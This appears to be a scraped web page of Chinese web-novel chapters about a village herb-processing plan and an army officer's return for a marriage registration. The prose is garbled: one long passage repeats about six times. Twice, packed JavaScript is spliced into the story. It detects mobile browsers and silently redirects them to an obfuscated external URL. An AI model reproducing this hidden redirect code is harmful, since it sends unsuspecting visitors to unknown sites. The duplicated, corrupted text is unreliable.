这话一出,赵大山等人呼吸都粗重了。 这不就是……躺着收钱吗? “所以,”姜芷话锋一转,“光有药田不够,我们得有自己的药材粗加工厂。” “粗加工厂?”赵大山愣住了。 “对。”姜芷点头,“新鲜药材不易保存,运输也麻烦。切片、烘干、磨粉,进行初步加工后,不仅方便存储和售卖,价格也能翻上几番。” “而且,还能给村里提供不少活计,让那些干不了重活的婶子大娘们,也能有工分拿,有钱赚。” 赵大山听得两眼放光,仿佛看到了一座金山正在向红星大队招手。 “这事儿我记下了!明天就开会,选地方,调人手!” “厂子的事不急,先规划好。” 姜芷的目光,落在了安**在角落里的姜巧巧身上。 所有人的视线,瞬间都聚焦在了姜巧巧身上。 姜巧巧紧张地攥紧了衣角。 “我带姜巧巧出去这一趟, 你的朋友正在书荒,快去帮帮他吧35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360426|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 也是为了这件事。” “以后,咱们大队的药材,无论是自己种的,还是从外面收的,品质把控这一关,都由她来负责。” “她?”一个大队干部忍不住出声,满脸怀疑。 “对,她。”姜芷的语气不容置疑,“她天生一个‘药鼻子’,对药材的辨识能力,连农科院的刘老都自愧不如。有她在,咱们的药材就不会出半点岔子,砸了红星大队的招牌。” 姜芷环视众人。 “我希望大家能放下以前的偏见,她犯过的错,她自己会用一辈子去还。但现在,她是咱们村子发展不可或缺的人才。” “我们得一起往前看,把日子过好,把村子建好,这才是正事。” 一番话,掷地有声。 赵大山第一个反应过来,带头鼓掌。 “姜丫头说得对!咱们红星大队,现在是一家人,就得拧成一股绳!谁要是有本事,能为大队做贡献,咱们就得支持!巧巧,以后好好干,别辜负了你姐的栽培!” 姜巧巧猛地抬起头,眼泪再也忍不住,夺眶而出。 她以为,自己这辈子都只能活在阴影里,靠干苦力赎罪。 她从没想过,姜芷会当着全村干部的面,如此郑重地肯定她,给了她一份安身立命的本事,更给了她一份堂堂正正的尊重。 她站起身,朝着姜芷,深深地鞠了一躬。 “姐……谢谢你。我……我一定……一定不会让你失望的!” 这一夜,红星大队的很多人都失眠了。 而第二天一大早,一个更加意想不到的消息,随着一辆军用吉普的到来,彻底引爆了整个红星大队。 村口的民兵老远看到车,还以为是省里又来人了,正准备上前盘问。 车门打开,一个身姿挺拔,穿着一身笔挺军装的男人,从车上走了下来。 初春的阳光下,他肩章上的星星熠熠生辉。 正是告别了许久的,陆向东! 他回来了。 但和他一起回来的,不止他一个人。 从另一侧车门,下来一个穿着中山装,戴着黑框眼镜,气质斯文的中年男人。 他手里,还提着一个黑色的公文包。 两人下车后,没有停留,直奔药田。 正在药田边上指导村民翻地的姜芷,听到动静,抬起头。 当她的目光和那个高大军官的视线在空中交汇时,她清冷的眸子,出现了波动。 那个男人,回来了。 只是这回,他回来的方式,似乎有些出乎意料。 第121章 陆团长扛着民政局上门 陆向东回来的消息,瞬间就传遍了红星大队。 药田里,刚被翻开的泥土散发着潮湿的腥气。 社员们直起酸麻的腰,不约而同地望向田边。 各家各户的土屋里,正在拉风箱的媳妇们探出头,连村头大槐树下揣着手晒太阳的老头,都把旱烟杆在鞋底磕了磕,拄着拐杖颤巍巍地往那头挪。 “是陆团长!” “我的天,那身军装,可真扎眼!” “他旁边那人,提着黑皮包,看着像个大干部!” 村民们压低了声音议论,却没人敢像从前那样一窝蜂地围上去。 如今的红星大队,腰杆子硬了,眼界也开了,不是什么人他们能随便凑上去起哄的。 陆向东的视线穿过攒动的人头,无视了所有的探究和敬畏。 只牢牢锁定了田埂上那道熟悉的身影。 她穿着打了补丁的旧布衣,裤腿上沾着新鲜的泥点,正低头跟身边的姜巧巧说着什么。 几日不见,她好像清减了些,但那份独有的清冷气质,在喧闹的乡野间,愈发显得卓然独立。 他迈开长腿,军靴踏在松软的田埂上,一步一步,沉稳坚定。 身后的中年干部提着公文包,快走几步跟上,眼神里全是按捺不住的好奇。 这就是能让西南军区和省军区两位司令员同时挂心的姜芷同志? 太年轻了。 甚至有些过分清瘦。 姜芷察觉到那道灼人的视线,抬起了头。 看着那个逆光走来的男人,她的呼吸,竟微微有些凝滞。 “我回来了。” 陆向东在她面前三步远处站定,千言万语,最终只化为这沉甸甸的四个字。 “嗯。” 姜芷轻轻应了一声,将手里的药锄换到另一只手,目光平静地落在他身后的中年男人身上。 陆向东立刻会意,侧身介绍:“姜芷,这位是省民政部门的王主任。” 管婚姻登记的王主任? 姜芷的眼睫动了一下。 那颗自从他为她跳下悬崖后,就不再平静的心湖,终于要落定了。 这一天,比她预想的,来得要快一些。 但,并不意外。 这个男人,值得。 王主任立刻堆起满脸笑容,主动伸出手,热情又带着几分小心翼翼。 “姜芷同志,您好您好!哎呀,真是久仰大名了!今日一见,果然是人中龙凤,是我们南湖省的瑰宝啊!” 姜芷手上还沾着泥,自然没有去握,只淡淡地点了点头:“王主任好。您来我们红星大队,是有什么工作指示?” “哎哟,指示不敢当,不敢当!” 王主任被她这不冷不热的气场噎了一下,连忙摆手,姿态放得更低。 “我们是来为人民服务的!专程来给您和陆团长服务!” 他看了一眼面无表情的陆向东,清了清嗓子,郑重地打开了那个看起来就很高级的黑色公文包。 他从里面拿出一份盖着鲜红印章的正式文件。 “姜芷同志,陆向东同志。” 王主任扶了扶眼镜,念道:“经西南军区秦司令员,及我省军区周司令员共同批示,二位的结合,是英雄配模范,是我省军民鱼水情的最佳体现!” “两位司令员指示,一定要把这件喜事,办得隆重、热烈,办成我们南湖省的典范!” 他顿了顿,脸上笑成了一朵花,试探地问:“省委办公厅那边的意思是,想在省城最好的饭店,为二位举办一场最高规格的婚礼,届时会邀请省里和军区所有领导同志参加,再请报社的同志拍几张照片,上个头版头条……您看?” 这话一出,不光是姜芷,就连旁边竖着耳朵偷听的赵大山,都狠狠倒吸了一口凉气。 我的老天爷! 省里出面办婚礼? 还要上省报头版? 这是何等的荣耀! 然而,姜芷的反应却让所有**跌眼镜。 “不必了。” “铺张浪费。” 简简单单七个字,把王主任后面准备好的一长串溢美之词,全给堵死在了喉咙里。 “啊?这……”王主任彻底懵了,他干了半辈子民政工作,还是头一回见到有人把这种泼天的大好事往外推的。 “我们响应国家号召,勤俭节约。” 姜芷语气平淡,“领个证就行。省里领导日理万机,就不为这点小事麻烦大家了。这笔钱,我看还是用在春耕生产上更合适。” 陆向东立刻上前一步,与她并肩而立,声音沉稳:“听她的。” 王主任这下是真没辙了,额头上急出了一层细汗。 来的时候,厅长可是千叮咛万嘱咐,这件事办好了,他年底的先进就稳了。 要是办砸了,两位司令员那边不好交代,他这个主任也别想干安生了。 不愧是能让两位大佬都亲自过问的人物,这思想觉悟,这格局……高,实在是高! 王主任的 脑子飞速旋转,眼珠一亮,立刻找到了台阶。 “是是是!姜芷同志说得对!是我思想觉悟不够高!” 他猛地一拍大腿,立刻换上了无比钦佩的表情。 “勤俭节约,这才是我们**青年的好作风!” “既然二位决定一切从简,那我们更要大力支持!” “这样吧!” 王主任一脸郑重地宣布。 “为了表达省里对二位结合的祝贺,以及对姜芷同志为我省农业发展做出巨大贡献的表彰,我去申请,特批一笔专项扶持资金,作为新婚贺礼,直接拨给红星大队!专门用于支持大队药材项目的建设!” “姜芷同志您看,这样既不搞**,又能支持生产,把好事办在实处,把钱花在刀刃上,您还满意吗?” 这番话说得滴水不漏,既完成了“表示重视”的任务,又精准地挠到了姜芷的痒处。 果然,姜芷听完,脸上有了一丝松动。 她看了王主任一眼。 “这个可以。” 王主任心里那块大石头,“咚”地一下,总算落了地。 他悄悄松了口气,心里对这个年轻姑娘的敬畏,又深了一层。 不图虚名,不计个人得失,心里装的都是集体和发展。 这样的胸襟,别说一个二十岁的姑娘,就是他见过的许多老干部,都远远不如! “那……关于领证的事……” 王主任小心翼翼地问。 “二位的户口簿,介绍信,都带在身上吗?如果材料齐全,我今天就可以现场为二位办理结婚证!” 他连空白的结婚证和印泥都带来了,就是要把这事办得漂漂亮亮。 “我的在。”姜芷言简意赅。 陆向东的眉头却微微皱了起来。 “我的……要回家拿。” 他一路风尘仆仆从军区赶来,还没来得及回家。 “回家?” 陆向东解释道:“我的户口,还在省城父母那里。” “哦哦,在省城啊,那不远。” 王主任松了口气。 “那这样,陆团长您看什么时候方便,去把户口簿取回来,我随时在民政局恭候二位大驾!” 陆向东的目光转向姜芷,带着询问,也带着一丝紧张。 “村里药厂的规划刚开始,我要安排一下。” 姜芷沉吟片刻,给出了答案。 “三天后吧。” “我把村里的事交接好,跟你一起去。” 陆向东的心跳,猛地漏了一拍。 他原以为,以她的性子,最多只会让他自己去取。 她竟然说,要跟他一起去。 去他家。 见他父母。 “好。” 陆向东难掩喜色,欣然点头。 随即又补充了一句。 “我爹娘……他们都是开明的老**,早就听说了你的事,一直都很敬佩你。” “他们要是知道你肯过去,不知道该多高兴。” 姜芷听着他这番自信又坦荡的话,忽然觉得,田里吹来的风,似乎都带上了一丝丝的甜意。 她别开眼,望向远处那片热火朝天的药田,声音很轻。 “知道了,‘陆婆婆’.” 脑子飞速旋转,眼珠一亮,立刻找到了台阶。 “是是是!姜芷同志说得对!是我思想觉悟不够高!” 他猛地一拍大腿,立刻换上了无比钦佩的表情。 “勤俭节约,这才是我们**青年的好作风!” “既然二位决定一切从简,那我们更要大力支持!” “这样吧!” 王主任一脸郑重地宣布。 “为了表达省里对二位结合的祝贺,以及对姜芷同志为我省农业发展做出巨大贡献的表彰,我去申请,特批一笔专项扶持资金,作为新婚贺礼,直接拨给红星大队!专门用于支持大队药材项目的建设!” “姜芷同志您看,这样既不搞**,又能支持生产,把好事办在实处,把钱花在刀刃上,您还满意吗?” 这番话说得滴水不漏,既完成了“表示重视”的任务,又精准地挠到了姜芷的痒处。 果然,姜芷听完,脸上有了一丝松动。 她看了王主任一眼。 “这个可以。” 王主任心里那块大石头,“咚”地一下,总算落了地。 他悄悄松了口气,心里对这个年轻姑娘的敬畏,又深了一层。 不图虚名,不计个人得失,心里装的都是集体和发展。 这样的胸襟,别说一个二十岁的姑娘,就是他见过的许多老干部,都远远不如! “那……关于领证的事……” 王主任小心翼翼地问。 “二位的户口簿,介绍信,都带在身上吗?如果材料齐全,我今天就可以现场为二位办理结婚证!” 他连空白的结婚证和印泥都带来了,就是要把这事办得漂漂亮亮。 “我的在。”姜芷言简意赅。 陆向东的眉头却微微皱了起来。 “我的……要回家拿。” 他一路风尘仆仆从军区赶来,还没来得及回家。 “回家?” 陆向东解释道:“我的户口,还在省城父母那里。” “哦哦,在省城啊,那不远。” 王主任松了口气。 “那这样,陆团长您看什么时候方便,去把户口簿取回来,我随时在民政局恭候二位大驾!” 陆向东的目光转向姜芷,带着询问,也带着一丝紧张。 “村里药厂的规划刚开始,我要安排一下。” 姜芷沉吟片刻,给出了答案。 “三天后吧。” “我把村里的事交接好,跟你一起去。” 陆向东的心跳,猛地漏了一拍。 他原以为,以她的性子,最多只会让他自己去取。 她竟然说,要跟他一起去。 去他家。 见他父母。 “好。” 陆向东难掩喜色,欣然点头。 随即又补充了一句。 “我爹娘……他们都是开明的老**,早就听说了你的事,一直都很敬佩你。” “他们要是知道你肯过去,不知道该多高兴。” 姜芷听着他这番自信又坦荡的话,忽然觉得,田里吹来的风,似乎都带上了一丝丝的甜意。 她别开眼,望向远处那片热火朝天的药田,声音很轻。 “知道了,‘陆婆婆’.” 脑子飞速旋转,眼珠一亮,立刻找到了台阶。 “是是是!姜芷同志说得对!是我思想觉悟不够高!” 他猛地一拍大腿,立刻换上了无比钦佩的表情。 “勤俭节约,这才是我们**青年的好作风!” “既然二位决定一切从简,那我们更要大力支持!” “这样吧!” 王主任一脸郑重地宣布。 “为了表达省里对二位结合的祝贺,以及对姜芷同志为我省农业发展做出巨大贡献的表彰,我去申请,特批一笔专项扶持资金,作为新婚贺礼,直接拨给红星大队!专门用于支持大队药材项目的建设!” “姜芷同志您看,这样既不搞**,又能支持生产,把好事办在实处,把钱花在刀刃上,您还满意吗?” 这番话说得滴水不漏,既完成了“表示重视”的任务,又精准地挠到了姜芷的痒处。 果然,姜芷听完,脸上有了一丝松动。 她看了王主任一眼。 “这个可以。” 王主任心里那块大石头,“咚”地一下,总算落了地。 他悄悄松了口气,心里对这个年轻姑娘的敬畏,又深了一层。 不图虚名,不计个人得失,心里装的都是集体和发展。 这样的胸襟,别说一个二十岁的姑娘,就是他见过的许多老干部,都远远不如! “那……关于领证的事……” 王主任小心翼翼地问。 “二位的户口簿,介绍信,都带在身上吗?如果材料齐全,我今天就可以现场为二位办理结婚证!” 他连空白的结婚证和印泥都带来了,就是要把这事办得漂漂亮亮。 “我的在。”姜芷言简意赅。 陆向东的眉头却微微皱了起来。 “我的……要回家拿。” 他一路风尘仆仆从军区赶来,还没来得及回家。 “回家?” 陆向东解释道:“我的户口,还在省城父母那里。” “哦哦,在省城啊,那不远。” 王主任松了口气。 “那这样,陆团长您看什么时候方便,去把户口簿取回来,我随时在民政局恭候二位大驾!” 陆向东的目光转向姜芷,带着询问,也带着一丝紧张。 “村里药厂的规划刚开始,我要安排一下。” 姜芷沉吟片刻,给出了答案。 “三天后吧。” “我把村里的事交接好,跟你一起去。” 陆向东的心跳,猛地漏了一拍。 他原以为,以她的性子,最多只会让他自己去取。 她竟然说,要跟他一起去。 去他家。 见他父母。 “好。” 陆向东难掩喜色,欣然点头。 随即又补充了一句。 “我爹娘……他们都是开明的老**,早就听说了你的事,一直都很敬佩你。” “他们要是知道你肯过去,不知道该多高兴。” 姜芷听着他这番自信又坦荡的话,忽然觉得,田里吹来的风,似乎都带上了一丝丝的甜意。 她别开眼,望向远处那片热火朝天的药田,声音很轻。 “知道了,‘陆婆婆’.” 脑子飞速旋转,眼珠一亮,立刻找到了台阶。 “是是是!姜芷同志说得对!是我思想觉悟不够高!” 他猛地一拍大腿,立刻换上了无比钦佩的表情。 “勤俭节约,这才是我们**青年的好作风!” “既然二位决定一切从简,那我们更要大力支持!” “这样吧!” 王主任一脸郑重地宣布。 “为了表达省里对二位结合的祝贺,以及对姜芷同志为我省农业发展做出巨大贡献的表彰,我去申请,特批一笔专项扶持资金,作为新婚贺礼,直接拨给红星大队!专门用于支持大队药材项目的建设!” “姜芷同志您看,这样既不搞**,又能支持生产,把好事办在实处,把钱花在刀刃上,您还满意吗?” 这番话说得滴水不漏,既完成了“表示重视”的任务,又精准地挠到了姜芷的痒处。 果然,姜芷听完,脸上有了一丝松动。 她看了王主任一眼。 “这个可以。” 王主任心里那块大石头,“咚”地一下,总算落了地。 他悄悄松了口气,心里对这个年轻姑娘的敬畏,又深了一层。 不图虚名,不计个人得失,心里装的都是集体和发展。 这样的胸襟,别说一个二十岁的姑娘,就是他见过的许多老干部,都远远不如! “那……关于领证的事……” 王主任小心翼翼地问。 “二位的户口簿,介绍信,都带在身上吗?如果材料齐全,我今天就可以现场为二位办理结婚证!” 他连空白的结婚证和印泥都带来了,就是要把这事办得漂漂亮亮。 “我的在。”姜芷言简意赅。 陆向东的眉头却微微皱了起来。 “我的……要回家拿。” 他一路风尘仆仆从军区赶来,还没来得及回家。 “回家?” 陆向东解释道:“我的户口,还在省城父母那里。” “哦哦,在省城啊,那不远。” 王主任松了口气。 “那这样,陆团长您看什么时候方便,去把户口簿取回来,我随时在民政局恭候二位大驾!” 陆向东的目光转向姜芷,带着询问,也带着一丝紧张。 “村里药厂的规划刚开始,我要安排一下。” 姜芷沉吟片刻,给出了答案。 “三天后吧。” “我把村里的事交接好,跟你一起去。” 陆向东的心跳,猛地漏了一拍。 他原以为,以她的性子,最多只会让他自己去取。 她竟然说,要跟他一起去。 去他家。 见他父母。 “好。” 陆向东难掩喜色,欣然点头。 随即又补充了一句。 “我爹娘……他们都是开明的老**,早就听说了你的事,一直都很敬佩你。” “他们要是知道你肯过去,不知道该多高兴。” 姜芷听着他这番自信又坦荡的话,忽然觉得,田里吹来的风,似乎都带上了一丝丝的甜意。 她别开眼,望向远处那片热火朝天的药田,声音很轻。 “知道了,‘陆婆婆’.” 脑子飞速旋转,眼珠一亮,立刻找到了台阶。 “是是是!姜芷同志说得对!是我思想觉悟不够高!” 他猛地一拍大腿,立刻换上了无比钦佩的表情。 “勤俭节约,这才是我们**青年的好作风!” “既然二位决定一切从简,那我们更要大力支持!” “这样吧!” 王主任一脸郑重地宣布。 “为了表达省里对二位结合的祝贺,以及对姜芷同志为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360427|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我省农业发展做出巨大贡献的表彰,我去申请,特批一笔专项扶持资金,作为新婚贺礼,直接拨给红星大队!专门用于支持大队药材项目的建设!” “姜芷同志您看,这样既不搞**,又能支持生产,把好事办在实处,把钱花在刀刃上,您还满意吗?” 这番话说得滴水不漏,既完成了“表示重视”的任务,又精准地挠到了姜芷的痒处。 果然,姜芷听完,脸上有了一丝松动。 她看了王主任一眼。 “这个可以。” 王主任心里那块大石头,“咚”地一下,总算落了地。 他悄悄松了口气,心里对这个年轻姑娘的敬畏,又深了一层。 不图虚名,不计个人得失,心里装的都是集体和发展。 这样的胸襟,别说一个二十岁的姑娘,就是他见过的许多老干部,都远远不如! “那……关于领证的事……” 王主任小心翼翼地问。 “二位的户口簿,介绍信,都带在身上吗?如果材料齐全,我今天就可以现场为二位办理结婚证!” 他连空白的结婚证和印泥都带来了,就是要把这事办得漂漂亮亮。 “我的在。”姜芷言简意赅。 陆向东的眉头却微微皱了起来。 “我的……要回家拿。” 他一路风尘仆仆从军区赶来,还没来得及回家。 “回家?” 陆向东解释道:“我的户口,还在省城父母那里。” “哦哦,在省城啊,那不远。” 王主任松了口气。 “那这样,陆团长您看什么时候方便,去把户口簿取回来,我随时在民政局恭候二位大驾!” 陆向东的目光转向姜芷,带着询问,也带着一丝紧张。 “村里药厂的规划刚开始,我要安排一下。” 姜芷沉吟片刻,给出了答案。 “三天后吧。” “我把村里的事交接好,跟你一起去。” 陆向东的心跳,猛地漏了一拍。 他原以为,以她的性子,最多只会让他自己去取。 她竟然说,要跟他一起去。 去他家。 见他父母。 “好。” 陆向东难掩喜色,欣然点头。 随即又补充了一句。 “我爹娘……他们都是开明的老**,早就听说了你的事,一直都很敬佩你。” “他们要是知道你肯过去,不知道该多高兴。” 姜芷听着他这番自信又坦荡的话,忽然觉得,田里吹来的风,似乎都带上了一丝丝的甜意。 她别开眼,望向远处那片热火朝天的药田,声音很轻。 “知道了,‘陆婆婆’.” 脑子飞速旋转,眼珠一亮,立刻找到了台阶。 “是是是!姜芷同志说得对!是我思想觉悟不够高!” 他猛地一拍大腿,立刻换上了无比钦佩的表情。 “勤俭节约,这才是我们**青年的好作风!” “既然二位决定一切从简,那我们更要大力支持!” “这样吧!” 王主任一脸郑重地宣布。 “为了表达省里对二位结合的祝贺,以及对姜芷同志为我省农业发展做出巨大贡献的表彰,我去申请,特批一笔专项扶持资金,作为新婚贺礼,直接拨给红星大队!专门用于支持大队药材项目的建设!” “姜芷同志您看,这样既不搞**,又能支持生产,把好事办在实处,把钱花在刀刃上,您还满意吗?” 这番话说得滴水不漏,既完成了“表示重视”的任务,又精准地挠到了姜芷的痒处。 果然,姜芷听完,脸上有了一丝松动。 她看了王主任一眼。 “这个可以。” 王主任心里那块大石头,“咚”地一下,总算落了地。 他悄悄松了口气,心里对这个年轻姑娘的敬畏,又深了一层。 不图虚名,不计个人得失,心里装的都是集体和发展。 这样的胸襟,别说一个二十岁的姑娘,就是他见过的许多老干部,都远远不如! “那……关于领证的事……” 王主任小心翼翼地问。 “二位的户口簿,介绍信,都带在身上吗?如果材料齐全,我今天就可以现场为二位办理结婚证!” 他连空白的结婚证和印泥都带来了,就是要把这事办得漂漂亮亮。 “我的在。”姜芷言简意赅。 陆向东的眉头却微微皱了起来。 “我的……要回家拿。” 他一路风尘仆仆从军区赶来,还没来得及回家。 “回家?” 陆向东解释道:“我的户口,还在省城父母那里。” “哦哦,在省城啊,那不远。” 王主任松了口气。 “那这样,陆团长您看什么时候方便,去把户口簿取回来,我随时在民政局恭候二位大驾!” 陆向东的目光转向姜芷,带着询问,也带着一丝紧张。 “村里药厂的规划刚开始,我要安排一下。” 姜芷沉吟片刻,给出了答案。 “三天后吧。” “我把村里的事交接好,跟你一起去。” 陆向东的心跳,猛地漏了一拍。 他原以为,以她的性子,最多只会让他自己去取。 她竟然说,要跟他一起去。 去他家。 见他父母。 “好。” 陆向东难掩喜色,欣然点头。 随即又补充了一句。 “我爹娘……他们都是开明的老**,早就听说了你的事,一直都很敬佩你。” “他们要是知道你肯过去,不知道该多高兴。” 姜芷听着他这番自信又坦荡的话,忽然觉得,田里吹来的风,似乎都带上了一丝丝的甜意。 她别开眼,望向远处那片热火朝天的药田,声音很轻。 “知道了,‘陆婆婆’.” 脑子飞速旋转,眼珠一亮,立刻找到了台阶。 “是是是!姜芷同志说得对!是我思想觉悟不够高!” 他猛地一拍大腿,立刻换上了无比钦佩的表情。 “勤俭节约,这才是我们**青年的好作风!” “既然二位决定一切从简,那我们更要大力支持!” “这样吧!” 王主任一脸郑重地宣布。 “为了表达省里对二位结合的祝贺,以及对姜芷同志为我省农业发展做出巨大贡献的表彰,我去申请,特批一笔专项扶持资金,作为新婚贺礼,直接拨给红星大队!专门用于支持大队药材项目的建设!” “姜芷同志您看,这样既不搞**,又能支持生产,把好事办在实处,把钱花在刀刃上,您还满意吗?” 这番话说得滴水不漏,既完成了“表示重视”的任务,又精准地挠到了姜芷的痒处。 果然,姜芷听完,脸上有了一丝松动。 她看了王主任一眼。 “这个可以。” 王主任心里那块大石头,“咚”地一下,总算落了地。 他悄悄松了口气,心里对这个年轻姑娘的敬畏,又深了一层。 不图虚名,不计个人得失,心里装的都是集体和发展。 这样的胸襟,别说一个二十岁的姑娘,就是他见过的许多老干部,都远远不如! “那……关于领证的事……” 王主任小心翼翼地问。 “二位的户口簿,介绍信,都带在身上吗?如果材料齐全,我今天就可以现场为二位办理结婚证!” 他连空白的结婚证和印泥都带来了,就是要把这事办得漂漂亮亮。 “我的在。”姜芷言简意赅。 陆向东的眉头却微微皱了起来。 “我的……要回家拿。” 他一路风尘仆仆从军区赶来,还没来得及回家。 “回家?” 陆向东解释道:“我的户口,还在省城父母那里。” “哦哦,在省城啊,那不远。” 王主任松了口气。 “那这样,陆团长您看什么时候方便,去把户口簿取回来,我随时在民政局恭候二位大驾!” 陆向东的目光转向姜芷,带着询问,也带着一丝紧张。 “村里药厂的规划刚开始,我要安排一下。” 姜芷沉吟片刻,给出了答案。 “三天后吧。” “我把村里的事交接好,跟你一起去。” 陆向东的心跳,猛地漏了一拍。 他原以为,以她的性子,最多只会让他自己去取。 她竟然说,要跟他一起去。 去他家。 见他父母。 “好。” 陆向东难掩喜色,欣然点头。 随即又补充了一句。 “我爹娘……他们都是开明的老**,早就听说了你的事,一直都很敬佩你。” “他们要是知道你肯过去,不知道该多高兴。” 姜芷听着他这番自信又坦荡的话,忽然觉得,田里吹来的风,似乎都带上了一丝丝的甜意。 她别开眼,望向远处那片热火朝天的药田,声音很轻。 “知道了,‘陆婆婆’.”